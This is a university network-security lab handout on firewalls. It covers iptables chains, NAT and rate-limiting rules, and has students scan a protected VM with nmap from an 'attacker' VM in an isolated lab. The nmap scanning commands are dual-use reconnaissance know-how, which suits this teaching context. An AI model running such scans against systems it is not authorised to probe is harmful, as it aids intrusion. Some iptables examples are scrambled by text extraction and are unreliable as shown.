ECE4112 Internetwork Security
Lab 6: Firewalls
Group Number: _________
Member Names: ___________________
_______________________
Date Assigned: February 21
Date Due: February 28
Last Edited: March 13, 2006
Please read the entire lab and any extra materials carefully before starting. Be sure to start early
enough so that you will have time to complete the lab. Answer ALL questions in the Answer
Sheet and be sure you turn in ALL materials listed in the Turn-in Checklist on or before the
Date Due.
Goal: This lab will introduce to the concept of Firewalls. You will be experimenting with
different kinds of firewalls.
Summary: This lab is divided into three major parts. Part 1 explores the Linux firewall
implementation in the form of the iptables program. Part 2 is a small introduction to Real Secure, one of
the most popular Windows firewall programs. In Part 3, you will configure a Cisco PIX 515E firewall for
a particular network structure. Part 1 and 3 might each take 2 hours or more, to finish. Therefore it is
recommended that you start early.
Background: None
Prelab Questions: None
Lab Scenario:
NOTE: Part 3 of the lab requires you to reserve slots to use the equipment. The signup sheets will be
posted on the lab door.
For Part 1 of this lab, you will be setting up two virtual machines on your hard drive. One of the two will
represent a protected machine inside a firewall, while the other will represent an attacker. We will use the
host machine (WS 4.0) as a router that implements a firewall. The virtual machine network structure is
shown below. These machines will be set up with host only networking, meaning any traffic they send or
receive goes through the host machine. The host machine will be using the iptables program.
1
Figure 1-1. Network structure on the Firewall machines
System Setup
Protected: A normal Linux virtual machine with IP 192.168.0.10, netmask 255.255.255.0, and gateway
192.168.0.1. The gateway is a virtual interface on the host machine which acts like a router and firewall.
This is the machine that is on the inside network and needs to be protected with the firewall.
Linux Firewall: Red Hat WS 4.0 base system that is configured to act like a router and runs a firewall
with ipchains. It forwards packets received on its two virtual interfaces (vmnet1 and vmnet2) to the
intended destinations. You will make firewall rules on this machine to protect the inside network.
BlackHat: Same configuration as the protected machine. IP address is 131.210.231.55 and gateway is
131.210.231.1, which is the virtual interface vmnet2 on the host machine. This is the machine where you
will try to attack the protected machine from.
Note: All the root passwords for these machines have been set to “password”.
Configuring the network
Before configuring the firewall on the host machine, we must first setup the network described in Figure
1-1. Two virtual machine images have been placed on the NAS under the Lab 6 Folder for you to use:
Protected and BlackHat. Both of these are Red Hat Linux WS 4.0 images.
Copy the directories BlackHat and Protected to the folder that you have placed all other vmware images.
This may take a few minutes per image.
Before we create a virtual machine in VMWare, we must first configure both machines for host-only
networking.
2
From your WS4 Host machine, Run the vmware-config.pl
$ /usr/bin/vmware-config.pl
Use the following answers:
Accept the default directories for the first two questions.
Accept the default “yes” for the question about building a vmon module for your system.
Again accept the default directory for the location of the C header files.
“Would you like to skip networking setup and keep you old settings as they are?”. No
Do you want networking for your virtual machines? Yes
Would you prefer to modify your existing network configuration using the wizard or the editor?
Editor
Do you wish to make any changes to the current virtual networks settings? Yes
Which Virtual network do you wish to configure? (0-99)1
The network vmnet1 has been reserved for a host-only network. You may change
it, but it is highly recommended that you use it as a host-only network. Are
you sure you want to modify it? (yes/no) [no] Yes
What type of virtual network do you wish to set vmnet1?
(bridged,hostonly,nat,none) [none] Hostonly
Configuring a host-only network for vmnet1.
Do you want this program to probe for an unused private subnet? (yes/no/help) [yes] No
What will be the IP address of your host on the private network? 192.168.0.10 (see Figure 1-1)
What will be the netmask of your private network? 255.255.255.0
The following virtual networks have been defined:
. vmnet0 is bridged to eth0
. vmnet1 is a host-only network on private subnet 192.168.0.10
Do you wish to make additional changes to the current virtual networks settings ?(yes/no)
[yes]Yes
Which Virtual network do you wish to configure? (0-99)2
What type of virtual network do you wish to set vmnet2?
(bridged,hostonly,nat,none) [none] Hostonly
Configuring a host-only network for vmnet2.
Do you want this program to probe for an unused private subnet? (yes/no/help) [yes] No
What will be the IP address of your host on the private network? 131.210.231.55 (d is from table
on page 2)
What will be the netmask of your private network? 255.255.255.0
The following virtual networks have been defined:
. vmnet0 is bridged to eth0
. vmnet1 is a host-only network on private subnet 192.168.0.1.
. vmnet2 is a host-only network on private subnet 131.210.231.1.
Do you wish to make additional changes to the current virtual networks settings ?(yes/no)
[yes]No
3
Starting VMware services:
Virtual machine monitor
Virtual ethernet
Bridged networking on /dev/vmnet0
Host-only networking on /dev/vmnet1 (background)
Host-only networking on /dev/vmnet2 (background)
[
[
[
[
[
OK
OK
OK
OK
OK
]
]
]
]
]
What this has done is set up two virtual Host-Only Networks on /dev/vmnet1 and /dev/vmnet2.
We are using the host-only networks to act like two independent subnetworks. Each virtual
machine will act as if we are connecting it to an extra network card in the host.
Start VMware by typing vmware &. In another terminal type ifconfig. All of the host-only
networks appear along with eth0 and eth1, functioning as if they were physical network cards.
Start both your WS4 virtual machines (refer to lab 1 if you forgot how to add a virtual machine).
Right click on the tab that lists the name of the machine, and go down to “Settings”. The setting
for “Ethernet1” needs to be changed from “Bridged” to “Custom: Specific virtual network”. The
drop down box then needs to be set to either /dev/vmnet1 or /dev/vmnet2 depending on the
specific virtual machine. Check the network diagram on Figure 1-1.
Click on the RedHat Icon on the virtual machines and go to System Settings -> Network. Click on
Edit to modify your settings, and change your gateway (see network diagram on Figure 1-1
again). Also uncheck “Bind to MAC address” under the Hardware Devices Tab. Make sure the
IP address is correct for each virtual machine. The gateway should be the IP of the host machine
for the specific virtual network you are setting up. So for the Protected virtual machine, the IP
address will be 192.168.0.10 and the gateway will be 192.168.0.1.
Click OK. Then, click Deactivate, Activate, Apply. Close to change your settings.
Try pinging your host machine from each virtual machine.
$ping 192.168.0.1
$ping 131.210.231.1
(from protected terminal)
(from BlackHat Terminal)
Now that we have bound the virtual machines to our host, it is time to allow for packet forwarding
through the host machine so that each virtual machine can communicate.
On the host machine:
To allow your host to forward or route IP packets, you need to type the following:
$echo 1 > /proc/sys/net/ipv4/ip_forward
This places a 1 in the file /proc/sys/net/ipv4/ip_forward. Check to make sure this command was
successful by typing $cat /proc/sys/net/ipv4/ip_forward (1 should be printed on your screen).
When Linux receives a packet, it looks at this file, and forwards if it sees a 1. This configuration
is reset each time your physical machine is rebooted, so you must retype this command every
time you reboot!
4
Now see if you can ping the Protected machine from the BlackHat machine. You should be able to at the
moment.
1. Linux Firewalls
In this section of the lab you will explore the Linux firewall iptables. The initial sections give an
overview of basic firewall concepts with exercises and examples. In the later sections, you will implement
all the rules in the iptables.firewall file available from the Lab 6 directory on the NAS server. The effects
of these rules are to be examined.
To get started, open a terminal on the machine and start VMWare. You’ll see that some virtual machines
have already been setup for you. We will be using the “Protected” and “Blackhat” machines, as shown in
Figure 1-1. The host machine will act as the firewall.
Setting up routing and iptables
Some of the information given in this section will only be clear and useful later on when you actually use
iptables.
The executable binary for the iptables application is the /sbin/iptables file. So when you execute iptables
this is the file that is executed. RedHat also has an executable script in the /etc/init.d/iptables file so that it
can start its default firewall at startup. An easy way to reset the firewall rules is to use this script as
/etc/rc.d/init.d/iptables stop
This flushes all the rules in memory and gives you a clean start.
You can flush individual rules with
iptables –F flushes all chains
iptables –X <chain name> deletes a chain
iptables –X
deletes all chains
To check if there are any current rules, type
iptables –L
It’ll show you a couple of chains, but there won’t be any rules in them.
You might have to do /etc/init.d/iptables restart to apply these changes (note: this is a different
command than the one you used above).
Obtain the file iptables.firewall from the NAS in the lab6 folder. This file contains all of the firewall rules
we will use in this lab. The contents of this file are included in Appendix 1-A so you may follow the lab
discussion in that file. You can execute this file to enable all the rules at once by executing it. Don’t
execute it yet.
Later in the lab, every time you need to restart the firewall with your rules, you can use the following
commands:
/etc/rc.d/init.d/iptables stop
./iptables.firewall (in the directory with your edited iptables.firewall file)
Again as a reminder, to enable packet forwarding on the Firewall machine, the line below needs to be
executed.
5
echo “1” > /proc/sys/net/ipv4/ip_forward
This has already been done above, but remember that this command needs to be executed at
restart. What this will do is to allow any FORWARD chain rules to be followed. This will make
more sense later when we discuss packet forwarding in sections 1.2, 1.5 and 1.6. For now, just
make certain that it is enabled by typing
cat /proc/sys/net/ipv4/ip_forward
1.1.1. Background
Only you can protect your system…..
Firewalls have become one of the most popular ways to help secure a network. A firewall is hardware,
software, or a combination of the two that prevents unauthorized access to or from a private network.
Think of it as Internet customs and immigration. The firewall is the agent that checks each item entering
or leaving the network. Each item must pass the right criteria in order to make it through. So a hacker
attempting to enter the network of California with a Florida orange would be stopped at the border.
Firewalls use one or more of three methods to control traffic flowing in and out of the network:



Packet filtering - Packets (small chunks of data) are analyzed against a set of filters. Packets that
make it through the filters are sent to the requesting system and all others are discarded.
Proxy service - Information from the Internet is retrieved by the firewall and then sent to the
requesting system and vice versa.
Stateful inspection - A newer method that doesn't examine the contents of each packet but instead
compares certain key parts of the packet to a database of trusted information. Information traveling
from inside the firewall to the outside is monitored for specific defining characteristics, then incoming
information is compared to these characteristics. If the comparison yields a reasonable match, the
information is allowed through. Otherwise it is discarded.
Exercise 1 No firewall functionality running
From the BlackHat machine, use nmap to scan the Linux Machine behind the firewall.
You can use the graphical interface for nmap with these options:
SCAN
DISCOVER
OPTIONS
->
->
->
SYN Stealth
Don’t Ping
Don’t resolve
Fast Scan
You can also use the command line with
nmap –sS –P0 –n –F <Protected Linux Machine IP>
Q1.1. Write down which ports are open:
1.1.2. Firewall Configuration
6
Firewalls are customizable. This means that you can add or remove filters based on several conditions.
Some of these are:





IP addresses
Domain names
Protocols  IP (Internet Protocol) - the main delivery system for information over the Internet
 TCP (Transport Control Protocol) - used to break apart and rebuild information that
travels over the Internet
 HTTP (Hyper Text Transfer Protocol) - used for Web pages
 FTP (File Transfer Protocol) - used to download and upload files
 UDP (User Datagram Protocol) - used for information that requires no response, such as
streaming audio and video
 ICMP (Internet Control Message Protocol) - used by a router to exchange the
information with other routers
 SMTP (Simple Mail Transport Protocol) - used to send text-based information (e-mail)
 SNMP (Simple Network Management Protocol) - used to collect system information
from a remote computer
 Telnet - used to perform commands on a remote computer
Ports
Specific words and phrases - This can be anything. The firewall will sniff (search through) each
packet of information for an exact match of the text listed in the filter. For example, you could
instruct the firewall to block any packet with the word "X-rated" in it. The key here is that it has
to be an exact match. The "X-rated" filter would not catch "X rated" (no hyphen). But you can
include as many words, phrases and variations of them as you need.
A software firewall, such as RealSecure, can be installed on the computer in your home that has an
Internet connection. This computer is considered a gateway because it provides the only point of access
between your home network and the Internet.
With a hardware firewall, the firewall unit itself is normally the gateway. A good example is the Linksys
Cable/DSL router. It has a built-in Ethernet card and hub. Computers in your home network connect to
the router, which in turn is connected to either a cable or DSL modem. You configure the router via a
Web-based interface that you reach through the browser on your computer. You can then set any filters or
additional information.
Hardware firewalls are incredibly secure and not very expensive. Home versions that include a router,
firewall, and Ethernet hub for broadband connections can be found for well under $100.
1.1.3. What It Protects You From:
There are many creative ways that unscrupulous people use to access or abuse unprotected computers.
The level of security you establish will determine how many of these threats can be stopped by your
firewall. The highest level of security would be to simply block everything. Obviously that defeats the
purpose of having an Internet connection. But a common rule of thumb is to block everything, and then
begin to select what types of traffic you will allow. You can also restrict traffic that travels through the
firewall so that only certain types of information, such as e-mail, can get through. This is a good rule for
businesses that have an experienced network administrator that understands what the needs are and knows
7
exactly what traffic to allow through. For most of us, it is probably better to work with the defaults
provided by the firewall developer unless there is a specific reason to change it.
One of the best things about a firewall from a security standpoint is that it stops anyone on the outside
from logging onto a computer in your private network. While this is a big deal for businesses, most home
networks will probably not be threatened in this manner. Still, putting a firewall in place provides some
peace of mind.
1.1.4. Demilitarized Zone
DMZ stands for Demilitarized Zone. A DMZ is your frontline when protecting valuables from direct
exposure to an untrusted environment. SI Security defines a DMZ as, "A network added between a
protected network and an external network in order to provide an additional layer of security." A DMZ is
sometimes called a "Perimeter network" or a "Three-homed perimeter network."
A DMZ is a step towards defense in depth because it adds an extra layer of security beyond that of a
single perimeter. A DMZ separates an external network from directly referencing an internal network. It
does this by isolating the machine that is being directly accessed from all other machines. Most of the
time the external network is the Internet and what is in the DMZ is the web server but this isn’t the only
possible configuration. A DMZ can be used to isolate a particular machine within a network from other
machines. This might be done for a branch office that needs its own Internet access but also needs access
to the corporate network. In DMZ terminology, an internal connection is generally thought of as having
more secret or valuable information than an external network. An easy way to understand which one is
the internal network is to ask yourself which network I am protecting.
Separation is important. Any system should have its important applications separated. This acts as system
of checks and balances to make sure that if any one area goes bad that it cannot corrupt the whole. It is
important to separate information so an attacker can’t get to all the systems. It would be bad enough for
the attacker to get to the web server but if that attacker can get through the web server to your database
then that’s even worse. This is the type of problem that a DMZ is designed to prevent.
A DMZ’s separation will degrade performance. If configured correctly the degradation in performance is
usually minimal and seldom noticeable. However, it does exist and you need to be aware of it. This effect
on performance must be calculated in the total cost of implementing a DMZ. Usually the performance
drop is nominal and the security increase is significant.
Q1.2. What ports do you think should be left open to allow for normal internet traffic? Explain how your
answer differs for say a host versus a server.
1.2.1. - IPtables Introduction
Up until now, we've looked at stateless and stateful firewalls. Remember, stateless firewalls only have the
features of a given packet to use as criteria for whether that packet should be passed, blocked, or logged.
With a stateful firewall, in addition to the fields in that packet, we also have access to the kernel's table of
open connections to use in deciding the fate of this packet.
8
There's a problem, though. Picture an attacker that has launched attacks against almost every port on our
web server box for the past half hour. The firewall has successfully repelled all of them, but now the
attacker turns his attention to port 80. All of the hostile overflow attempts are let through unhindered.
Why? Because the firewall ruleset allows all traffic to the web server through, and our firewall can't
remember the fact that this IP address has been pounding all the other ports on the system.
What if we could tell the firewall to remember the IP address of attackers and block them for a short
period of time following their last attack? By remembering their past actions, we can block incoming web
server connections that would otherwise have been allowed.
1.2.2. Iptables modules:
The firewall code in the current Linux kernel ( http://www.netfilter.org/ ) is called iptables or
netfilter (while there is a technical distinction, they're equivalent names for this discussion). The
crucial feature of this firewall is its modular design. You have the ability to add new types of
tests to perform on a packet and actions to take on it. These tests and action modules can be
added to a running kernel.
1.3.1. What’s going on in the kernel?
(taken from netfilter HOWTO by Rusty Russell)
The kernel starts with three lists of rules in the ‘filter’ table; these lists are called firewall chains or just
chains. The three chains are called INPUT, OUTPUT and FORWARD.
The chains are arranged like so: (Note: this is a very different arrangement from the 2.0 and 2.2
kernels!)
9
Figure 1-2 – Routing chains
The three circles represent the three chains mentioned above. When a packet reaches a circle in the
diagram, that chain is examined to decide the fate of the packet. If the chain says to DROP the packet, it is
killed there, but if the chain says to ACCEPT the packet, it continues traversing the diagram.
A chain is a checklist of rules. Each rule says ‘if the packet header looks like this, then here’s what to do
with the packet’. If the rule doesn’t match the packet, then the next rule in the chain is consulted. Finally,
if there are no more rules to consult, then the kernel looks at the chain policy to decide what to do. In a
security-conscious system, this policy usually tells the kernel to DROP the packet.
1. When a packet comes in (say, through the Ethernet card) the kernel first looks at the destination
of the packet: this is called ‘routing’.
2. If it’s destined for this box, the packet passes downwards in the diagram, to the INPUT chain. If it
passes this, any processes waiting for that packet will receive it.
3. Otherwise, if the kernel does not have forwarding enabled, or it doesn’t know how to forward the
packet, the packet is dropped. If forwarding is enabled, and the packet is destined for another
network interface (if you have another one), then the packet goes rightwards on our diagram to
the FORWARD chain. If it is ACCEPTed, it will be sent out.
4. Finally, a program running on the box can send network packets. These packets pass through the
OUTPUT chain immediately: if it says ACCEPT, then the packet continues out to whatever
interface it is destined for.
1.3.2. Creating your own rules
The iptables tool inserts and deletes rules form the kernel’s packet filtering table. Initially all chains are
set to ACCEPT by default. A detailed description can be obtained from the man pages (man iptables).
Commands to change chains: (Note: Use upper case letters)
1. create a new chain (-N) delete an empty chain (-X)
2. list the rules for a chain (-L)
3. flush a chain (delete all rules in a chain) (-F)
Commands to add/delete rules:
1. Append a new rules to a chain (-A)
2. Delete a rule at some position in a chain, or the first that matches (-D)
The sections
Note: The examples in these sections only demonstrate particular rules. They may or may not work for
the network setup for the lab.
1.4.0. Iptables Parameters
Parameters specify the type of packet that you are looking to match with your rule.
1.4.1. Specifying jump
10
If a packet matches one of your rules, you can tell the packet to jump to another chain with the ‘-j’ option
Example:
#jump all packets in INPUT chain to the DROP chain
iptables –A INPUT –j DROP
1.4.2. Specifying protocol
The protocol can be specified with the ‘–p’ option. Protocols can either be the number in the IP
header or ‘tcp’, ‘udp’, or ‘icmp’ (case insensitive).
Example:
#drop all icmp packets
iptables –A INPUT –p icmp –j DROP
1.4.3. Specifying inversion
To invert (negate) any of your rules use the ‘!’ character
Example:
#drop all packets that are not tcp
iptables –A INPUT –p ! tcp
1.4.4. Specifying interface
Interfaces can be specified with the ‘-i’ (input) and ‘-o’ (output) paramaters. Note, a rule in the INPUT
chain checking with ‘-o’ will never match any packet and a rule in the OUTPUT chain checking with ‘-i’
will never match any packet.
Example:
#check packets coming in from the eth0 interface
iptables –A INPUT –i eth0
1.4.5. Specifying source/dest
The source/dest address of the packet can be specified in 4 ways. The source/dest can be specified as a
named address ( localhost, www.yahoo.com), by the IP address (e.g. 192.168.1.12), by group using
network bits (e.g. 190.35.107.0/24 ), or by using network address/netmask ( e.g.
190.35.107.0/255.255.255.0 ) Although this next example is not in our iptables.firewall take a look at this
example:
Example:
11
#allow tcp packets coming from 130.207.232.1/24 machines to 50.60.23.45 machine
iptables –A INPUT –s 130.207.232.1/24 –d 50.60.23.45 –p tcp
1.4.6 . State matching
If the ‘ip_conntrack’ module is loaded, then connection-tracking analysis can be done on
packets. You can check my typing lsmod. The module can be inserted using insmod
ip_conntrack.
The states which can be checked are:
NEW
A packet which creates a new connection
ESTABLISHED
A packet which belongs to an existing connection (i.e., a reply packet, or outgoing packet on a
connection which has seen replies).
RELATED
A packet which is related to, but not part of, an existing connection, such as an ICMP error, or
(with the FTP module inserted), a packet establishing an ftp data connection.
INVALID
A packet which could not be identified for some reason: this includes running out of memory and
ICMP errors which don’t correspond to any known connection. Generally these packets should
be dropped.
An example of this powerful extension would be:
iptables –A FORWARD –i eth0 –m state ! –state NEW –j DROP
1.4.7 - Limit explanation
This module must be explicitly specified with `-m limit' or `--match limit'. It is used to restrict the
rate of matches, such as for suppressing log messages. It will only match a given number of times
per second (by default 3 matches per hour, with a burst of 5). It takes two optional arguments:
--limit
Followed by a number; specifies the maximum average number of matches to allow per second.
The number can specify units explicitly, using `/second', `/minute', `/hour' or `/day', or parts of
them (so `5/second' is the same as `5/s').
--limit-burst
Followed by a number, indicating the maximum burst before the above limit kicks in.
12
This match can often be used with the LOG target to do rate-limited logging. To understand how
it works, let's look at the following rule, which logs packets with the default limit parameters:
# iptables -A FORWARD -m limit -j LOG
The first time this rule is reached, the packet will be logged; in fact, since the default burst is 5,
the first five packets will be logged. After this, it will be twenty minutes before a packet will be
logged from this rule, regardless of how many packets reach it (60 minutes / 3 packets per hour).
This value of twenty minutes is because the default limit is 3/hour. Also, every twenty minutes
which passes without matching a packet, one of the burst will be regained; if no packets hit the
rule for 100 minutes, the burst will be fully recharged to 5 packets (100 minutes / 20mintes per
packet); back where we started.
Note: you cannot currently create a rule with a recharge time greater than about 59 hours, so if
you set an average rate of one per day, then your burst rate must be less than 3.
You can also use this module to avoid various denial-of-service attacks (DoS) with a faster rate to
increase responsiveness.
Syn-flood protection (recall Datapool utility from Lab 3 for DoS using Syn Flood):
# iptables
or
# iptables
# iptables
RETURN
# iptables
# iptables
-A FORWARD -p tcp --syn -m limit --limit 1/s -j ACCEPT
–N SYN-FLOOD
–A SYN-FLOOD –m limit –-limit 20/s –-limit-burst 100 –j
–A SYN-FLOOD –j LOG –-log-prefix “SYN-FLOOD: ”
–A INPUT –p tcp –-syn –j SYN-FLOOD
Furtive port scanner:
# iptables -A FORWARD -p tcp --tcp-flags SYN,ACK,FIN,RST RST -m limit -limit 1/s -j ACCEPT
Ping of death:
# iptables -A FORWARD -p icmp --icmp-type echo-request -m limit --limit
1/s -j ACCEPT
UDP Attack (from Lab 3):
# iptables
# iptables
RETURN
# iptables
# iptables
# iptables
–N UDP-FLOOD
–A UDP-FLOOD –m limit –-limit 20/s –-limit-burst 100 –j
–A UDP-FLOOD –j LOG –-log-prefix “UDP-FLOOD: “
–A UDP-FLOOD –j DROP
–A INPUT –p udp –j UDP-FLOOD
1.5.0. Network Address Translation (NAT)
There are two types of NAT, source NAT and destination NAT.
13
Source NAT is when you alter the source address of the first packet: i.e. you are changing where the
connection is coming from. Source NAT is always done post-routing, just before the packet goes out onto
the wire. Masquerading is a specialized form of SNAT. A router might do masquerading for packets
going from one of its internal machines to an outside connection. In this case it will change the source
address of the machine to its own address. The external machine will see the packets coming from the
router.
Destination NAT is when you alter the destination address of the first packet: i.e. you are changing where
the connection is going to. Destination NAT is always done before routing, when the packet first comes
off the wire. Port forwarding, load sharing, and transparent proxying are all forms of DNAT. In the router
example, the incoming packets intended for the internal machine are routed to it by changing the
destination address to the internal address of the machine.
1.5.1 - NAT in the kernel
You need to create NAT rules which tell the kernel what connections to change, and how to change them.
To do this, we use the very versatile iptables tool, and tell it to alter the NAT table by specifying the
`-t nat' option.
The table of NAT rules contains three lists called `chains': each rule is examined in order until one
matches. The two chains are called PREROUTING (for Destination NAT, as packets first come in), and
POSTROUTING (for Source NAT, as packets leave). The third (OUTPUT) will be ignored here.
The following diagram illustrates this concept:
Figure 1-3 – NAT routing chains
At each of the points above, when a packet passes we look up what connection it is associated with. If it's
a new connection, we look up the corresponding chain in the NAT table to see what to do with it. The
answer it gives will apply to all future packets on that connection.
14
1.5.2. Iptables and NAT
Figure 1-4 – NAT with Iptables
In order to explain the iptables.firewall commands in the next section, (see iptables.firewall in appendix
1-A now) you need the following details:
The most important option for the iptables command is the table selection option, `-t'. For all NAT
operations, you will want to use `-t nat' for the NAT table. The second most important option to use is `A' to append a new rule at the end of the chain (e.g. `-A POSTROUTING'), or `-I' to insert one at the
beginning (e.g. `-I PREROUTING').
You can specify the source (`-s' or `--source') and destination (`-d' or `--destination') of the packets you
want to NAT. These options can be followed by a single IP address (e.g. 192.168.1.1), a name (e.g.
www.gnumonks.org), or a network address (e.g. 192.168.1.0/24 or 192.168.1.0/255.255.255.0).
You can specify the incoming (`-i' or `--in-interface') or outgoing (`-o' or `--out-interface') interface to
match, but which you can specify depends on which chain you are putting the rule into: at
PREROUTING you can only select incoming interface, and at POSTROUTING you can only select
outgoing interface. If you use the wrong one, iptables will give an error.
You want to do Source NAT; change the source address of connections to something different. This is
done in the POSTROUTING chain, just before it is finally sent out; this is an important detail, since it
means that anything else on the Linux box itself (routing, packet filtering) will see the packet unchanged.
It also means that the `-o' (outgoing interface) option can be used.
15
DNAT is done in the PREROUTING chain, just as the packet comes in; this means that anything else on
the Linux box itself (routing, packet filtering) will see the packet going to its `real' destination. It also
means that the `-i' (incoming interface) option can be used.
1.5.3. Port Forwarding
When running a web server behind your firewall, you want to forward packets destined for that server
through the firewall to that box.
Example:
# Linux 2.4
# Append a rule before routing (-A PREROUTING) to the NAT table (-t nat) that
# TCP packets (-p tcp) going to 1.2.3.4 (-d 1.2.3.4) port 80 (--dport 80)
# have their destination mapped (-j DNAT) to 192.168.1.1, port 80
# (--to 192.168.1.1:80).
iptables -A PREROUTING -t nat -p tcp -d 1.2.3.4 --dport 80 \
-j DNAT --to 192.168.1.1:80
NOTE: This only changes the destination of the packet, it does not
automatically accept it in the forwarding chain. A rule must be made in the
forwarding chain also.
1.5.4. Masquerading
There is a specialized case of Source NAT called masquerading: it should only be used for dynamicallyassigned IP addresses, such as standard dialups.
You don't need to put in the source address explicitly with masquerading: it will use the source address of
the interface the packet is going out from. But more importantly, if the link goes down, the connections
(which are now lost anyway) are forgotten, meaning fewer glitches when connection comes back up with
a new IP address.
## Masquerade everything out ppp0.
# iptables -t nat -A POSTROUTING -o ppp0 -j MASQUERADE
1.6.0. iptables.firewall Script Explanation (See Appendix 1-A)
These rules are already contained in our file iptables.firewall. We do not cover the rules in exactly the
same order as they appear in your file. Go through these rules and understand what exactly is being done.
1.6.1. Load the iptables modules and connection tracking for ftp and nat:
modprobe
modprobe
modprobe
modprobe
ip_tables
iptable_nat
ip_conntrack_ftp
ip_nat_ftp
16
Configure default policies (-P), meaning default rule to apply if no more specific rule below is applicable.
These rules apply if a more specific rule below is not applicable. Defaults are to DROP anything sent to
firewall or internal network, permit anything going out.
iptables -P INPUT DROP
iptables -P FORWARD DROP
iptables -P OUTPUT ACCEPT
1.6.2. Flush (-F) all specific rules:
iptables
iptables
iptables
iptables
-F
-F
-F
-F
INPUT
FORWARD
OUTPUT
-t nat
The rest of this file contains specific rules that are applied in the order listed. If none applies, then the
above policy rules are used.
Forward all packets from vmnet1 (internal network) to vmnet2 (the internet).
iptables -A FORWARD -i vmnet1 -o vmnet2 -j ACCEPT
Forward all packets that are part of existing and related connections from vmnet2 to vmnet1.
iptables -A FORWARD -i vmnet2 -o vmnet1 -m state --state
ESTABLISHED,RELATED -j ACCEPT
Permit packets in to firewall itself that are part of existing and related connections.
iptables -A INPUT -i vmnet2 -m state --state ESTABLISHED,RELATED -j
ACCEPT
Note, in the above two rules, a connection becomes ESTABLISHED in the iptables PREROUTING chain
upon receipt of a SYNACK packet that is a response to a previously sent SYN packet. The SYNACK
packet itself is considered to be part of the established connection, so no special rule is needed to allow
the SYNACK packet itself.
Allow all inputs to firewall from the internal network and local interfaces
iptables -A INPUT -i vmnet1 -s 0/0 -d 0/0 -j ACCEPT
iptables -A INPUT -i lo -s 0/0 -d 0/0 -j ACCEPT
1.6.3.Forwarding
17
Forward all http packets (port 80) to the internal VMware machine
iptables -A PREROUTING -t nat –d 131.210.231.1 -p tcp --dport 80 -j
DNAT
--to 192.168.0.10:80
iptables –A FORWARD –i vmnet2 –p tcp -–dport 80 –j ACCEPT
Forward all ssh packets (port 22) to the inside machine
iptables -A PREROUTING -t nat –d 131.210.231.1 -p tcp --dport 22 -j
DNAT
--to 192.168.0.10:22
iptables –A FORWARD –i vmnet2 –p tcp -–dport 22 –j ACCEPT
Turn on ip forwarding in case it wasn't already enabled
echo "1" > /proc/sys/net/ipv4/ip_forward
1.6.4. Alternative to SNAT -- MASQUERADE
If your firewall has a dynamic IP number (Tech uses static IPs while most cable/DSL providers, such as
ATT and Bellsouth, and all dial-up connections only offer dynamic IPs) because it connects to the
internet itself via DHCP, then you probably cannot predict what the IP number is of your firewall's
interface connected to the internet. In this case, you need a rule like the following that assigns the (an) IP
number associated with vmnet2 to outgoing connections without you needing to know in advance (at time
of writing this rule) what that IP number is:
iptables -A POSTROUTING -t nat -o vmnet2 -j MASQUERADE
Deny any packet coming in on the public internet interface vmnet2 which has a spoofed source address
from our local networks:
iptables -A INPUT -i vmnet2 -s 192.168.0.0/24 -j DROP
iptables -A INPUT -i vmnet2 -s 127.0.0.0/8 -j DROP
If you query a particular remote DNS server, permit UDP responses from it.
iptables -A INPUT -p udp -s <remote DNS server IP> --source-port 53 -d
0/0 -j ACCEPT
1.6.5. Defending against ICMP Ping Floods
ICMP ping floods are commonly used attacks, especially by “script kiddies.” The attack is really simple,
the attacker ping floods you and if he has more upstream than your downstream, you won’t be able to
access anything. Iptables allows you to specify how many ICMP “echo” packets you want to reply to.
This can be done by adding the following:
18
iptables -A INPUT –p icmp –-icmp-type echo-request –m limit \
-–limit 30/minute –-limit-burst 1 –j ACCEPT
“30/minute’ means accept every other packet. An attacker may still ping flood you, but you
won’t reply to it anyways, and he will give up soon. However, this also allows other people to ping
you, just to test the network connection. The burst is set to 1 packet, so this limit will immediately take
effect.
Our Linux based firewall is already completely setup since the iptables.firewall file is provided for us, and
all of the machines behind the firewall are protected from harmful traffic. We will now run some tests to
show the results of the firewall installation.
Exercise 3
Turn on the firewall rules by typing
./iptables.firewall (in the directory where your iptables.firewall is placed)
If you have enabled the firewall before, you will need to flush the rules before executing the above
command.
Now rerun nmap from outside the firewall (BlackHat) on the Linux machine behind the firewall
(Protected).
Run nmap with these options:
SCAN
DISCOVER
OPTIONS
->
->
->
TIMING
->
SYN Stealth
Don’t Ping
Don’t resolve
Fast Scan
Max RTT 6ms
The command is
nmap –sS –P0 –n –F –max_rtt_timeout 6 <Protected Linux machine IP>
We must add this additional timing option because the firewall does not send a reset packet when nmap
scans a closed port, it simply drops it. The RTT value specifies that nmap will not wait longer than 6ms
for a response on a port. Note: 6ms is the smallest amount of time that is allowed for this option. In our
case, since most packets will be dropped, increasing this value to something even as small as 40ms will
cause this scan to take as long as 30 minutes.
Q1.3. Write down which ports are open after the firewalls installation:
Exercise 4
Q1.4. What happened differently in the results from exercise three as opposed to exercise one? Can you
speculate what firewall rules caused this?
Exercise 5
19
From BlackHat, we are going to ping the firewall to observe the rule which defends against icmp ping
floods. The rule specified in this lab has the limit as 30/minute and a burst of 1. This means that every
other packet will be denied and this rule will be enabled with the first packet.
From your BlackHat, ping the firewall with these options:
ping 131.210.231.1 –c 20 –w 4
Record this output in one window.
Now change the rule in the iptables.firewall file to 10/minute and a burst of 5. Restart the firewall with
the command
/etc/rc.d/init.d/iptables stop
./iptables.firewall
In another window from BlackHat ping the firewall with these options:
ping 131.210.231.1 –c 20 –w 4
Q1.5. Comment on the differences between the first rule:
Exercise 6
Now run ethereal on the firewall machine. Run with the options capture packets on ‘any’ interface,
update packets in real time, and automatic scrolling.
From the linux machine behind the firewall, ping BlackHat, outside of the firewall, with the command:
ping –c 1 131.210.231.55
Record the ethereal output and comment on the number of packets observed and their source and
destination addresses.
Now, edit iptables.firewall and comment out line 31 which reads:
iptables -A FORWARD -i vmnet2 -o vmnet1 -m state --state
ESTABLISHED,RELATED -j ACCEPT
Restart the firewall with the command
/etc/rc.d/init.d/iptables stop
./iptables.firewall
Repeat the previous ping and record and comment on the differences.
Q1.6. Uncomment line 31 and restart the firewall. Explain what you saw and why:
Exercise 7
20
Restart ethereal on the firewall machine. Run with the options capture packets on ‘any’ interface, update
packets in real time, and automatic scrolling.
From BlackHat, ssh to 131.210.231.1
Q1.7. Record these output in ethereal and comment on what you saw happen:
Exercise 8
Now we are going to log any packets attempting to telnet to the firewall using the LOG chain.
iptables –A INPUT –d 131.210.231.1 –p tcp --dport 23 –j LOG --log-prefix ‘TELNET ATTEMPT: ‘
Attempt to telnet from Black Hat to the firewall. Check /var/log/messages for these telnet attemps and
record the output from the messages file. type tail /var/log/messages to see the end of the
